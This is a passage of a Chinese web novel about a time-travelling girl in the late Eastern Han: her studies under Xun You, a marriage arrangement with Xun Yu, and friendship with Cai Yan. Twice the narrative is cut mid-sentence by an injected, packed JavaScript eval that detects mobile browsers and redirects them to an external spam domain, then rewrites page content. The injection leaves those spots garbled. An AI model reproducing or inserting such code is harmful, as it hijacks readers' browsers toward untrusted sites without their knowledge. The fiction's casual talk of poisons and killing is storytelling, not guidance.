袁基没有问荀爽知不知道评语、评语又是什么,若无意外,明日荀绲自会坦诚相告。 他只是微微笑了笑,似浑不在意,温声:“竟如此么?想来我这为人父者,还要对儿女多加了解才是。” 夜风微凉,明月朦胧,树影斑驳间,袁基的笑意并不明朗。 荀爽笑而不语。 * 次日用过朝食,袁珩便见到了自己的先生,荀攸荀公达。 荀攸刚及弱冠,模样斯文俊秀,与袁基、袁绍相比固然略显寻常,但一身诗书风雅气质浓郁,比袁基还要年轻七八岁的人呢,往那儿一站就是教导主任。 可一开口,那股青年人特有的活力便露出些许:“我读过珩女公子的文章。女公子麟子凤雏,来日可期。” 某种程度上来讲,这是客套话,但而立之年喜提贵女的袁基很爱听:“阿珩还小呢。” 大家都以为是自谦。 只有袁珩没忍住捻了捻指尖——听起来伯父这话后头,该接的是“长大了更了不得”。 荀爽在旁边倒是看得分明,不由打趣:“公业这话若是随着珩女公子的文章一并传出去,怕是天下所有人都要觉得你不知足啦。” 袁基心想,我已经很克制了,没临时变卦叫她拜你荀慈明为师,都得算我看重礼仪。 袁珩直觉哪里不对,有些敏感地看了眼袁基。 袁基拍了拍她的脑壳,笑吟吟道:“该行拜师礼了。” 袁珩只能压下疑虑。 正衣盥手,先向孔圣行九回叩首礼,再向荀攸行三叩首礼;拜师帖递去,六礼束脩献上;茶烟袅然氤氲,也晕不开荀氏公子脸上真切的笑意。 荀攸并未按时下规矩训诫,只温和看着她:“戒骄戒躁,修文修身,方不负己。” 哪里是训诫?最多称得上提点——可见荀攸当真满意袁珩的资质。 拜师礼成。 忽而一道清润嗓音自座中传来,袁珩循声看去,入目便是一张清光玉面,温润俊雅。 他开口便是很符合少年模样的些许促狭:“公达,你给珩女公子备了什么见面礼啊?” 所以说啊,有时候命运就是这般奇妙,轰轰烈烈的开场大多都兰因絮果,但寻常得几近乏味的初遇却可能是千古佳话的缘起。 袁珩多年后回忆起今日,也深觉这一幕毫无宿命感——主角是她与荀攸,他不过是满座荀氏子弟之一,若非他突发奇想似的神来一笔,她或许还要过许久才能见到他。 可除此之外呢,却又有丝丝缕缕无形的细线缠绕着交错勾勒,于是只一眼,哪怕史书上对他少时记载寥寥,而光和三年秋的少年郎君尚不似日后居中持重的老成,唯能窥见一二与生俱来的如冰之清,袁珩也有一万分把握笃定他的身份。 是他。 荀彧,荀文若。 4. 史诗级贴脸开大 是夜月明星稀,袁珩坐在檐下,看陈越秋借着月色绣香囊。 陈越秋挂念袁珩,今夜特地前来陪伴。 袁珩毛茸茸地蹭过去,在陈越秋身边坐下,劝道:“夜色昏暗,夫人歇一会儿吧,对眼睛不好。” 陈越秋放下手中绣活,偏头看向她,想起袁绍当着她的面儿寄出的信,以及今日袁基的态度,目光里带着很浅的怅然。 嘴上却不露端倪,嗔怪:“你半年前跟我说想要个兰花样式的,好不容易得空呢,你这会儿又来劝。不想要啦?” 袁珩陡然意会到,陈越秋有一种急切感。 于是她白日里就压在心头的不对劲再度加码,在此刻彻底落地、具像化了;她靠在陈越秋臂弯,没有提“过继”的事情,只轻声道:“夫人明明才十八的年纪,怎么当真如未央的母亲一般呢?” 陈越秋为之沉默。 世道向来如此,任你公主黔首,都做不了几年无忧无虑的闺阁女郎,便不得不为他人妇了。 陈越秋不觉得自己有什么值得怜惜的,可她却担忧未央——袁氏金尊玉贵的女郎,出身头一份显赫的门庭,长在诗书礼仪浸润的世家,为何郎君依然将她当作一样用来权衡的物件儿呢? 陈越秋是当真觉得世间没有人配得上她家未央,皇子也不行。 然而她不能说,更何况就算说了,也会被人耻笑;有时陈越秋也会自我怀疑,难道其实真正不平于“身不由己”的人是我,未央根本不这么觉得? 但每每只要袁珩怜惜而眷恋地看着她,仿若为她不值,陈越秋便又平静下来了。 是与不是又如何呢?未央爱她,她也爱未央,所以才各自生出万般忧虑。 陈越秋舍不得袁珩。 但她也懵懂地意识到:若不过继,郎君恐怕会害了未央。 陈越秋不说话,袁珩便问:“夫人往后,能与未央时常通信吗?” 只一句话,陈越秋便哽咽起来,泪珠滚滚而下,将袁珩揽进怀中:“……好。” * 袁基站在不远处的树影中,将陈越秋神情尽收眼底。 他微微偏头,轻叹:“本初尚不如他的女眷通透。” 状似无意地提了一句,他近乎审视地打量着身边的荀攸,语气平静而不乏威严:“我也不同你说什么弯弯绕绕的话。荀绲看中阿珩聪颖神异,故欲结为姻亲;然自古鱼与熊掌不可得兼,既然想要一个前途光明的新妇,还想借机回绝唐氏婚姻,便也得应下我的条件。” 他说话堪称无礼,荀攸却并不觉冒犯,毕竟形势比较紧张。 近来已故中常侍唐衡之女择婿,想许嫁于汝南傅公明,那边儿还在拉扯呢,便隐隐有风声传出,道是若不成,下一个就要轮到荀氏。 荀氏未婚适龄子弟,只有一个荀彧。 这年头,哪个士人愿意跟宦官扯上关系?更别提是臭名昭著的中常侍。 荀氏:当时就是害怕,非常害怕。 荀绲这事儿问得确实赶了些,偏偏袁绍又态度暧昧,好不容易换了个明白的爹,那自然得抓住机会。 荀攸很倒反天罡地为自己的叔父应承:“公业但说无妨。” 今日白天荀绲亲自前来游说袁基,态度倒也诚恳,故而他也愿意暂退一步。 他堪称刁难:“阿珩是我唯一的女儿,为她择婿再怎么挑剔也不过分。不能有姬妾、不许有二色、不容有二心、不允有异生;若不能做到——基便提前恭贺荀氏得唐氏佳妇了。” 又说:“待阿珩十六方能完婚。在此之前若有半分违诺,也不可。” 袁基的要求过分吗? 以时势来看,其实不然。 再说了,牺牲一个荀彧(划掉),保住荀氏清名,怎么看都比较划算啊。 且袁珩才八岁,这桩联姻更多是一种交易——荀绲需要一个顶级门阀的新妇来拒绝唐氏,袁基需要一个名声清正的女婿来让袁绍死心。 至于会不会真的有完婚那一日…… 两人心里都清楚,真正完婚的可能性太小了。 荀攸大为心动,但也说要去问过荀绲、荀彧才行;袁基见状反倒放心,真要是一口应下,才会叫人质疑。 两人一边往外走去,一边谈论着时政;袁基不期然想起荀绲提起的,许劭对袁珩的评语来。 ——失鹿之虎豹,从龙之凤鸾。 当真是很了不得的评语啊……袁基初闻时大为惊愕,恍惚竟共情了袁绍看似荒谬愚蠢的安排。 他想将袁珩嫁给皇子辩,哪里是出于野心,哪里是为了当外戚呢? 分明是掩耳盗铃似的自欺欺人,盘算着将之定义为“凤命”,而非其他不可言说的意义。 他让袁珩拜师于荀氏,当真是为了让她更加博闻强识吗? 分明是想叫他们“教化”她…… 于是极其顺畅地,袁基想起了三年前那桩他亲自目睹耳闻的往事。 …… 袁绍看过袁珩课业,疑惑发问:“《春秋》此句——‘郑伯克段于鄢’,阿珩缘何不作释义?” 年仅五岁的袁珩反问:“应作何释义?” “……君臣兄弟,礼法伦常。我不信你不懂。” “若阿父直接问君臣父子,未央自能作答。然《春秋》者,史书也;史书者,著之则私,入之则变也。世人以史论今、以史鉴今,也不过为利私之变之,于本绕道行之!” 袁绍默然,袁基愕然。 袁珩说:写史书的人有私心偏向,被记在史书中的人也有了异变;如今这些以史书为经典的人,也不过是为了给自己的利益披上圣贤学说的皮,加以利好自己的注解,却失去了最基本的“道”。 袁珩的声音尚且稚嫩,然而她的不凡,或者说她仿佛与生俱来的“悖逆”,已然初见端倪。 她所质疑的,乍一听是圣人与其经典学说,可事实上呢? 她道破了天子与士族的治世之本,以一种堪称蔑视的姿态。 算算时间,此事恰发生在许劭评论袁珩之后两日。 袁基心下微叹。 本初啊。 这样一个神异的孩子,你永远只能去引导她,教她伪装自己;却全然不可以禁锢她,令她按世俗生长…… * 八月初一,秋阳微暖,袁珩开始进学。 无论过继还是婚姻,都不是她能够操心的事情,若真有什么不合意的也可从长计议,但跟随“算无遗策”荀公达学习的机会,却是可遇不可求。 袁珩对于联姻一事,也暂时没有发表意见。 八年的东汉门阀人生教会了她一个道理:怒火、痛苦、癫狂,若不能被用来达成目的,那便是无意义的;在恰当时机借题发挥的“外用”可以,化为动力坚定心志的“内服”也行。 再说了,要真把她惹急了,系统商城还有大把大把的慢性药呢! 思及此,袁珩露出了善良值为15的笑容。 她愉快地往荀氏特地准备的书房走去,心里琢磨着酝酿了四个月的野史任务。 她戳了戳系统:【按你之前说的,当着本人的面造谣能至少80分,如果换成与主角关系匪浅的人呢?】 系统耐心解答:【依据实际情况而定。例如这两人是什么关系、他们之间的关系与谣言内容的匹配度,变量甚至也包括客户您本人。如果适配度高,满分也是有可能的……这也是推荐指数的内在机制。】 袁珩若有所思。 * 袁珩还在赶来书房的路上,另一边的荀攸却陷入了沉默的漩涡。 今日族中有名士来访,那人膝下有一名六岁年纪的独女,他听说袁氏女公子正随荀攸进学,便顺手将自家女儿也塞过来了。 ——名士蔡邕遭宦官诬陷,为躲避迫害,他正欲往吴会去,途径颍川时顺道拜访荀氏。 荀攸当然没有不应的,直到他发现这位女郎把沉默是金贯彻到底。 荀攸偶尔会有些耳鸣症状,是他幼时被醉酒的叔父误伤所致;他反复确认了许久,才敢肯定不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15790979|174954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是自己童年创伤突然史诗级加强,而是蔡氏淑女确实只张嘴不说话。 蔡琰试图沟通失败,想了想,执笔写字:昨日阿父命我闭嘴,琰不敢不孝。 荀攸:。 他不由开始沉思——蔡琰这究竟是不知变通,还是故意为之? 想到蔡邕时时提起自家女儿的才华,荀攸恍然大悟:是故意的。 于是袁珩刚进来,入目就是大眼瞪小眼的尴尬场面。 荀攸见袁珩到了,诡异地感到一阵心安:“未央来了。这位是蔡伯喈之女蔡琰,字昭姬,随父访友荀氏。” 袁珩:哦哦哦,蔡琰!蔡文姬! 袁珩双眼一亮。 这可是韩愈评价“蔡邕有女能传业”的文学家、书法家、音乐家,有过目不忘之能、一人默下四百余篇古籍的大才女! 其实若要拉关系,蔡琰的大母正是出身陈郡袁氏,与汝南袁氏乃同源分支。 只是两支的政治风格和命运都大不相同——陈郡袁氏低调克己,家风清正,得以活跃至南朝时期,作为四大侨姓之一,门阀地位稳稳的很安心;汝南袁氏高调发展,喜好联姻,门生故吏遍布天下,不出意外还有二十年左右寿命。 你懂什么是枪打出头鸟。 短暂且并不真诚地唏嘘了一下,袁珩没深究为何是荀攸代为介绍,主动示以亲近:“昭姬素日都爱读什么书?” 蔡琰嘴唇动了又动,似是想说什么。 而后抓起那张字,又匆匆写了几笔,递至袁珩跟前。 昨日阿父命我闭嘴,琰不敢不孝。 见过珩女公子,昭姬近来多读易传。 袁珩:。 袁珩想了想,也没顾及荀攸在场:“眼下令尊并不在此处,昭姬若‘闭嘴’,怕是有些亏了。” 荀攸:“……” 蔡琰恍然大悟,而后弯了弯眼睛,笑得腼腆:“昭姬失礼了。见过荀先生,见过女公子。” 袁珩“嗯嗯”一声,而后看向荀攸,目光中透露出对于学识的渴望:“先生今日以何教珩?” 荀攸深深地看她一眼:“先讲论语颜渊篇,‘君子成人之美,不成人之恶’。” 袁珩泰然自若:“先生请。” 笑死,假装没文化,听不懂在内涵。 * 荀攸讲学是有点东西在身上的。 他并非荀氏最擅长治经的人,看上去还有些温吞,但正应了曹操那句“外愚内智”的评价,袁珩也愿称之为静水流深。 他讲得并不细致,不会逐字逐句抠出来作解,大多时候只先解释大概本义,而后抛出问题,引导袁珩与蔡琰深入思考,就连句读也是如此。 荀攸这么认真,袁珩几乎快要不忍造谣了。 如是一个上午过去,休息时蔡琰往前院去寻蔡邕,书房内便只剩了袁珩与荀攸,另有六名女婢守在门前。 连一刻都没有为荀攸考虑,袁珩故作踟蹰模样,看着他,欲言又止。 此时的荀攸还没有意识到事情的严重性,和蔼问询:“未央有话要说?” 袁珩状若忧虑:“从洛阳来颍川的路上,珩闻说文若世兄堪称国色天香,如冰之清,如玉之絜,似莲花出淤泥而不染;只可惜被族人厌弃,将成残花零落,被送往唐氏榻上……” 荀攸:“?” 荀攸:“??” 荀攸:“???” 荀攸陷入了沉默的漩涡。 袁珩双眼无辜地看着他。 忽而,袁珩听见门外传来一声瓷器落地的碎响。 袁珩:“……” 她表情一顿,而后机械地、僵硬地扭头看去。 年迈儒雅的荀绲,神情恍惚如老年痴呆。 矜贵从容的袁基,面色苍白似命不久矣。 ……以及无助茫然得令人心疼的,荀彧。 他手上还维持着一个虚空抱物的动作,脚下是碎成片的瓷瓶,弥漫开的清水,一株开得艳丽的鲜花。 袁珩:“…………” 5. 哄堂大孝羲珩琰 气氛死寂得像是坟场。 袁珩已经抠出了整座文陵,刘宏见了都说好。 系统很担心,刚刚袁珩的情绪波动像是在被火化:【客户,您还好吗?】 袁珩:【……没事,往好处想,这次评分一定很高。】 她很快完成了心态调理,跟什么都没发生似的,笑着起身见礼。 嘴又很甜,一口一个“伯父”“世伯”“世兄”,还主动分享起上午的进学心得,极其自然地夸赞着荀氏文风昌盛;荀攸看得叹为观止,只觉得袁珩有这样的心态做什么都会成功。 袁基是最快回过神的。 他听见袁珩对荀绲父子的伯、兄称呼,便明白这孩子心里什么都清楚;又见她毫无惭愧模样,态度自然极了,顿时心情复杂。 此刻,在场的三个成年人同频共振。 ——此子来日必成大器。 却忽听还是个少年郎的荀彧冷不丁开了口,微微蹙眉,很诚恳而担忧地冲着袁基道:“世叔,珩女公子年幼,以德行教化便足够了。” 生怕袁基打孩子似的。 他这模样很能唬人,但袁珩愣是从他光风霁月的表现之下读出了潜台词:这不得赶紧罚她? 袁珩麻木地想:文若你变了,你再也不是九年后被举孝廉时端方稳重的模样了。 袁基深深地看了眼冤种女儿,意味深长:“文若言之有理。” 荀绲打圆场:“唉,说来说去,还是他们唐氏太过蛮横跋扈。” 然而这话说出口,换来的是更诡异的沉默。 唐氏的蛮横固然令人心痛,但袁珩的嘴也很难使人开颜。 袁基都没脸接这一茬。 荀攸紧急加入,转移话题:“你们是来看阿珩的?” 荀绲找回了理智,说话也顺畅起来:“方才听公业说起阿珩爱花,文若便剪了枝院里的戎葵送来。” 袁珩:……我什么时候爱花了? 袁公业你不要再帮我加人设了! 但面上很惊喜:“珩多谢世兄。” 她从侍女手上接过绯红色的戎葵,因刚才摔到了地上,哪怕侍女们及时收拾了,花瓣也已被瓷片压出了细细的折痕,平添几分颓靡。 然后她的脑子里自然而然浮现出“残花零落”四个字,脚趾微微一动,而梅开三度的诡异寂静告诉她,在场所有人都想起了这个炸裂的词。 荀攸不敢再看袁珩,转向袁基,艰难道:“女公子今日装饰,与戎葵相得益彰。” ——他甚至在避免直接提起袁珩的名字。 袁基微笑,摸了摸袁珩的发顶:“应是随了本初。本初素好风雅。” ——这是袁绍的孩子,我只是养父。 袁珩:“……” 荀绲正要说什么,蔡琰恰在此时回返书房,一见这么多人,脚下便踟蹰起来。 但她不知道,她的出现恰好给袁基、荀绲、荀彧提供了一个绝佳的借口,他们一起喊着伯喈啊清谈啊什么的,就脚下生风地离开了。 荀攸:“……” 他也好想逃,但逃不掉…… * 入夜后,袁珩于廊下坐听秋风秋雨。 蔡琰从对面屋内钻出来,左手端着一盏灯,右手拿着一卷书,过来在袁珩身边坐下,又挥退了侍女。 蔡琰用余光打量着袁珩,看她神游天外,分明身在此处,魂魄却仿佛在另一方天地间。 她听说过袁珩,据说袁本初好女装的事情就是她不小心捅出去的。 袁珩心里藏着事儿,百般愁滋味全冲着惨淡的未来而去;小说里的穿越者带系统到东汉末年,大多是皇帝、武将、谋士三种职业。 袁珩首先排除当皇帝。 因为她姓袁,她出身门阀世家,如果她有这样的志向,天下士族定会群起而攻之,且别说汝南袁氏了,陈郡袁氏都得跟着瞎掺和一手,袁氏姻亲也定会插一脚……除非她一夜速成孤儿。 但袁珩的善良值高低还有个15呢,杀几十个还能行,几百个可能就有点压力了,毕竟是宗族,用处还是挺大的。 武将,袁珩扪心自问也不太行。 所谓一将功成万骨枯,她若行军,挥刀杀向的是从军的黔首,是多艰的流民,是被乱世无限放大了人性之恶的普通人。 而造成这一切的天子、外戚、宦官、门阀,乃至所谓“士族”,却端坐高台之上,以苍生为棋子,以乱世为棋盘,以权力为筹码,博弈出自己的利益。 真正该被挥刀砍得头破血流的,是他们。 袁珩前世也不过寻常阶级,若等位置换于东汉末年,也是“黔首”之一。 既然是乱世,那凭什么只有黎民受苦受难,落在史书里唯有几行字,轻而沉重? 在这个时代,铁打的刀用来杀黔首,道义礼法做的刀则用来杀袁珩所属阶级的人。 袁珩心想,我或许是该做一名谋士的——可翻遍了记忆中的后汉三国历史,再有才华的女人也走不到真正的高处去,只需要用一个“贤媛”的形容便能斩断来路。 而我呢?袁珩平静而不甘地想,若我做了哪位“明公”的谋士,怕是要被他纳入后院啊。 若干年后史书说起她,便是“贤媛”和“贤内助”,而非“运筹帷幄”或“王佐之才”。 袁珩想啊想,竟想不出自己的路在哪里。 忽而,身旁的蔡琰出声询问:“阿珩是有烦心事吗?” 袁珩回过神。 她侧头看着蔡琰,笑了笑:“是啊。” 蔡琰才六岁,一双眼却带着被诗书浸润出的清润剔透,哪怕稚子天真,也叫袁珩心绪平静了许多。 袁珩想了想,问:“昭姬今日为何要那样做?” ——你为何要以这样的方式反抗父亲? 蔡琰浅笑了一下,腮边梨涡若隐若现:“父亲最重视孝道。” ——以其人之道还治其人之身。 袁珩话题拐回去:“我正在同文若世兄议婚。我不知他是否良配,故而惶恐。” 蔡琰盯着她看了会儿,清透的猫儿眼直盯得袁珩发毛。 片刻,蔡琰凑到她耳边,声音很小,内容却很炸裂:“可我觉得你烦闷的并非此事。方才你的眼神很凶,像是想杀人呢。” 袁珩:“……” 袁珩恼羞成怒,瞪了她一眼:“乱讲!你才六岁,小孩儿家家的,定是看错了!” 蔡琰“哦”了一声,很无所谓的样子:“是啊是啊。濮阳令的流言也定是真的,珩女公子才八岁,她能说谎吗?” 袁珩:“……” 蔡琰还要追着杀:“若非去岁你有一篇《思亲》诗流传,人人谈之动容,他们这会儿肯定已经在说你不孝了!” 袁珩:孝死,已经被亲爹说过了。 袁珩不跟真小孩儿辩论,丝滑地转移话题人物:“对了,说到孝——你听说过安平王那位公主的事迹吗?” 安平王刘续有一儿一女两名子嗣,儿子不争气,连世子都没混上;但他十七岁的女儿刘羲却很有说头。 她八岁被顺利封为乡公主后,便时常规劝兄长进学读书;十五岁未婚夫意外亡故,她说两家“恩义犹在”,坚持两年后再论婚事,是有名的“贤媛”。 两个月前刘续重病,刘羲为病中的父王侍疾祈福,孝感天地,竟引来了一头白鹿;白鹿有灵,赐血赐福,刘续的病立时大好,消息递进洛阳,刘宏大为动容,破格封刘羲为县公主,食邑武遂县。 孝子故事嘛,编得越神异越被买账,只是袁珩上月刚听说的时候,总觉得哪儿不对劲。 这会儿问蔡琰,是发现她很敏锐,尤其关于孝道,自有一番见地! 蔡琰当然听说过这位武遂公主的孝子故事,甚至…… “若非有阿珩八岁不谎的事迹在前,我也不会多想的。”蔡琰很老实,声音压得更低,“公主上巳之前受召入京,待了数月,我和她交情不错。我随父亲走之前她告诉我,安平王根本没生病,只是中毒而已。找到白鹿后,她就立时喂了解药。” 袁珩:“……” 袁珩:“…………” 这位才是真正的大孝子,堪称李唐宗室误入刘汉王朝。 她喃喃:“这什么毒啊,居然没被发现?” 要知道,这年头的毒就没几个能做到无味无色、无声无息。 蔡琰:? 蔡琰神色古怪:“你就只关心这个?” 袁珩没有想起前世时也是个早慧的孩子,因蔡琰同样如此,难免放松了些,下意识说出了真心话。 她当即模糊重点:“你就这样告诉我了?不怕我说出去?不怕公主觉得你背叛她?” 蔡琰还带着婴儿肥的脸上露出一个故作老成的高深笑容:“哼哼,可算是问到点子上了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15790980|174954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>而后,她神神秘秘地说了句叫袁珩细思极恐的话。 “正是公主托我说的——她说,若遇上了与荀氏有婚约的那位袁氏淑女,哪怕你看上去很孝顺,也只管将此事告诉你。” * 蔡琰一句话,袁珩被吓得连续三晚没睡好,袁基本已打算移居颍川别庄,见状便又多留了几日。 也就是这么一停留,与匆匆折返颍川的袁绍遇上了;新爹遇上原生爹,着实是狭路相逢,父亲之争,素来如此。 先前袁绍还没到洛阳,就收到了袁基命人快马加鞭送来的通知:过继阿珩,甚好。 袁绍当时就愣住了。 ——我只是在气头上顺嘴一说而已,大兄你怎么还当真了?! 袁绍在路上停了两日,每日在谒舍中茶饭不思、坐立难安。 想折返颍川吧,怕只是虚惊一场;若打道回洛阳呢,又怕是木已成舟。 所以有的人输得彻底不是没有原因的,这样的小事也能迟疑不决多日,更遑论其他的事情? 他自认为很谨慎地寄信回了汝南,询问族老那边有没有收到袁基的通知单。 袁绍很快就收到了回信。 袁珩已经被记在袁基那一支了。 袁绍:“……” 袁绍差点没晕过去,如遭雷击! 而后车也不要了,世家公子的仪态也不要了,直接打马日夜奔走,终于在八月十五那天赶到了颍川荀氏府邸。 此时正是午后,刚下过一场凄冷秋雨,荀氏府中戎葵与菊花落了一地残红,却也不如风尘仆仆的袁绍形容狼狈。 多日奔马不停歇,袁绍的大腿其实已经磨破了,衣裳也勾了丝,华美俊秀的姿容如今一派颓唐,与院中煮酒读书、从容矜贵的袁基形成了鲜明对比。 袁绍脚步一顿,本有一腔的急切与愤恨,有满怀的焦虑与悲戚,还积攒了一肚子要质问袁基的话;然而如今袁基连看都没看见他,他却莫名不敢再上前。 袁本初啊……任他在外面再怎么名声显赫,任他在时人眼中再如何人物风流,在面对袁基时,却很难不敬畏,很难不自卑。 他本有许多话想说,可如今却又泄了气,甚而难得的惶恐起来。 ……我家未央,是不是也觉得袁公业做她的父亲更好呢? 袁珩刚才去蔡琰那边取了没有打蔫儿的戎葵,正抱着满怀的花走到院门口,便于侧边树影下,看见袁绍明明白白写在脸上的心绪。 袁珩微微愣住。 她心里第一时间涌上的,是很浓烈的思念与惊喜,可她硬生生止住了奔过去的冲动,垂眼看着怀中绯红戎葵,竟有些近乡情怯。 系统冷不丁钻出来:【客户原来有把“愧疚”理解为“近乡情怯”的习惯吗?】 袁珩没吭声。 系统不是人,也不觉得自说自话没趣儿:【男人可以兼祧两房,客户也可以。】 袁珩:【东汉哪儿有这糟粕……退一亿步来讲,就算有,这也不是你觉得可以就行的。就算阿父与伯父都爱重我,他俩也打不过整个汝南袁氏和以礼为本的士族啊。】 系统安慰:【那先不说这个了。客户今年才八岁,不管是过继还是婚约都做不了主,这不是您告诉我的吗?】 袁珩茅塞顿开。 是啊,她做不了主,所以她虽是局中人,却又不是局中人;八岁小孩做事不需要瞻前顾后,只管去做就够了。 袁珩心下一定,情绪也随之轻快地飘了起来,任由被克制压抑的思亲之情淹没头脑;她当即抬腿往静默立在院门的袁绍跑去。 一边跑,一边单独取出一枝开得最好、最艳的戎葵,在袁绍混杂着错愕、迟疑、难过、无助、惊喜、关切的,万般复杂的目光中,毫不犹豫地奔过去。 她似一头矫健有力的幼虎一样生机勃勃,手里扬着一枝深红的花,示意袁绍弯腰。 袁绍一双凤眼含了血丝,如今还不爱蓄须的人连胡茬都冒出来了,想来是身心俱疲到了极致。 他很配合地俯身,收敛好所有不该在孩子面前流露的情绪,笑道:“跑慢些,当心摔了……未央这是要做什么呀?” 袁珩便将那朵戎葵簪在袁绍的鬓边,极其自然地扯了扯他的衣袖,仿佛父女之间所有微妙的隔阂都不曾存在过。 她脸上笑出一团天真娇憨,是在爱里长大的孩子才会有的模样:“阿父,未央好想你!” 6. 并非纯孝霍含章 袁绍与袁基入室密谈,话题中心的八岁小儿袁珩理所当然地什么都不管。 蔡琰明日便要随蔡邕离开颍川,素来故作老成的蔡氏淑女破天荒有了小孩的样子,抱着袁珩含着眼泪,问蔡邕:“父亲,昭姬不想走,可以吗?” 蔡邕:“……” 蔡邕尽可能心平气和:“那你以何身份留在颍川呢?” 蔡琰想了想,结合实事灵机一动,超大声地说:“荀先生膝下尚无子嗣,父亲可以将昭姬过……” 话还没说完,就被袁珩捂住了嘴。 蔡琰有些控诉地看着袁珩。 袁珩绝望了:蔡琰啊蔡琰,你没看见你爹已经在找教刑尺了吗?! 一顿鸡飞狗跳之后,蔡琰的手心跟眼睛一样红,她看着袁珩,要哭不哭:“阿珩,你会与我通信吗?” 袁珩用力点头:“当然!” 袁珩也舍不得蔡琰,毕竟蔡琰真是个非常聪明有趣的朋友,还有点天然黑,最要紧的是她待她一片赤忱真心,小孩儿的友谊是最纯粹的。 这年头,许多人一别就是永别,袁珩却很笃定她们还有重逢的一天,所以压下不舍,变着法儿逗她开心,直到荀攸过来才作罢。 荀攸教导蔡琰一旬有余,除了第一日有些令人窒息,后头也惊异于她的资质——若说袁珩的聪慧体现在心性与政治上,那蔡琰便是所有老师都会喜欢的天选学术圣体,过目不忘只是她最基本的优秀素质之一。 知道蔡邕与蔡琰不日要走,荀攸特地过来了一趟,想带袁珩与蔡琰在颍阴县游玩。 蔡邕虽然比袁绍还要爹一些,但爹味与支持孩子增长见识并不冲突,自然没有不允的;只是他对好大女暴言要荀攸当爹耿耿于怀,含蓄表示“公达一个人带俩孩子太累,要不再找个有空的人”。 那么问题来了,荀氏中谁有空带孩子? 荀彧。 ——因为两家已经算好了良辰吉日,荀彧今日便得去郊外亲自猎一只活雁,行“纳采”礼。 媒人请的是颍川名士陈寔,老熟人了,曾经弘农杨氏与汝南袁氏联姻就是请的他老人家;难为老先生今年已经七十六高寿、在家颐养天年了,还得来做媒。 陈寔只在八月二十有空,按袁基的话来说:荀彧再不去打雁,就赶不上趟了。 袁珩:“……” 袁珩幽幽问荀攸:“先生,这不太好吧?” 言下之意:哪儿有未婚夫妻一起出游捉雁的? 荀攸笑眯眯地弯腰看着她:“且不说你是否真当他是未婚夫……叔父也不是那种有怪癖的人啊。” 袁珩心想,确实。 不然这根本拷不住,也太刑了。 荀攸怕小孩子不自在,又体贴地嘱咐:“当叔父是你兄长就好,若仍不适,便告诉老师。” 真是好扭曲的关系。 袁珩面无表情地“嗯”了一声,转头就去找蔡琰诉苦:“要不我跟你一道离开吧?” 蔡琰眼睛一亮,显然是心动了,但她还是很遗憾、很认真地劝袁珩:“听说你父亲拳头很硬、打人很痛,阿珩还是暂且忍忍。” 袁珩愣了愣,问:“哪个父亲?” 蔡琰:“……” 蔡琰:“袁公业世叔。” 袁珩“哦哦”两声,不再说话了,心里却不免打鼓——莫非袁基也有打小孩儿的恶毒嗜好?从前也没听说过啊…… 她心事重重地跟蔡琰上了同一辆车,马车骨碌碌地往颍阴县郊的灌台而去。 今日八月十五,上至宫廷下至民间都有秋夕祭月的习俗,算是中秋节的早期雏形。 今年颍川有诸多清流名士在汉初古迹灌台设宴,待入夜后宴上赏月、饮酒、赋诗、清谈,这会儿宴会还未开始,却已有部分士人相偕同游,带家眷游览的也不少。 袁珩和蔡琰刚下车,就目睹了一场父慈子孝的动人场面。 竹林外站着一名衣着朴素、气韵不凡的中年男人,身前是一名男装的女郎,十二三的年纪,腰间佩刀,正恭谨敬重地听父亲训话。 不知她低声回了一句什么,中年男人脸色一变,当即挽起袖子从身后摸了竹杖出来,抬手就向女郎打去! 女郎一愣,而后利落干脆地跪下,声音大得附近几十个人都能听见:“父亲若要责罚,贞谨受之!” 说罢,又红着眼看向她的父亲:“贞虽言辞悖逆,却是忧心父亲名声!父亲乃邺县名士,怎能不顾祖上清名与那张让有牵扯?今日就算被您打死,贞也必要以死相劝,方不堕我霍氏忠节!” 她说得铿锵有力、悲壮慷慨,围观之人无不赞叹动容,又因提到臭名昭著的士人黑榜Top10之一张让,不少士人很自来熟地过去劝中年男人别打孩子。 毕竟他脸色实在是很难看,感觉随时都能暴起杀人。 袁珩与蔡琰站在车边津津有味地看了全程,就连荀攸与荀彧也突然对拉车的马产生了前所未有的莫大兴趣,一个麻木地喂草,一个机械地梳毛,耳朵却齐齐对准了那边的闹剧。 袁珩低声问:“邺县名士?” 荀攸也低声回答:“应是魏郡霍岭,霍叔越,先祖是桓帝朝忠臣霍谞。” 袁珩声音压得更低:“那他和张让……?” 荀攸也更加小声地委婉解释:“张让是颍川人,他得势后自然要衣锦还乡。霍岭与之‘有牵扯’尚不至于,最多与张让故人参加过同场宴饮。” 又提了一句他的女儿:“那位名‘贞’的淑女,是霍叔越唯一子息,好刀兵远胜于经典,霍叔越也颇为纵容。” 这年头谁沾上常侍,谁就别想在士人圈子里混了,霍岭素有清名,又不为官,自然不可能与宦官有一腿,不然图什么? 所以霍贞虽过分耿直,却也没士人当真,反而觉得她定是家风教养良好,才会这般直言不讳,何其令人感动,不愧以“贞”为名。 袁珩给蔡琰使了个眼色。 ——你怎么看? 蔡琰小幅度摇头。 ——也是演的。 袁珩心下深以为然。 荀彧蓦地轻声道:“恐怕并非纯孝之人。” 蔡琰面色一僵,不无惊恐地看着荀彧。 袁珩故作好奇:“世兄缘何作此评价?” 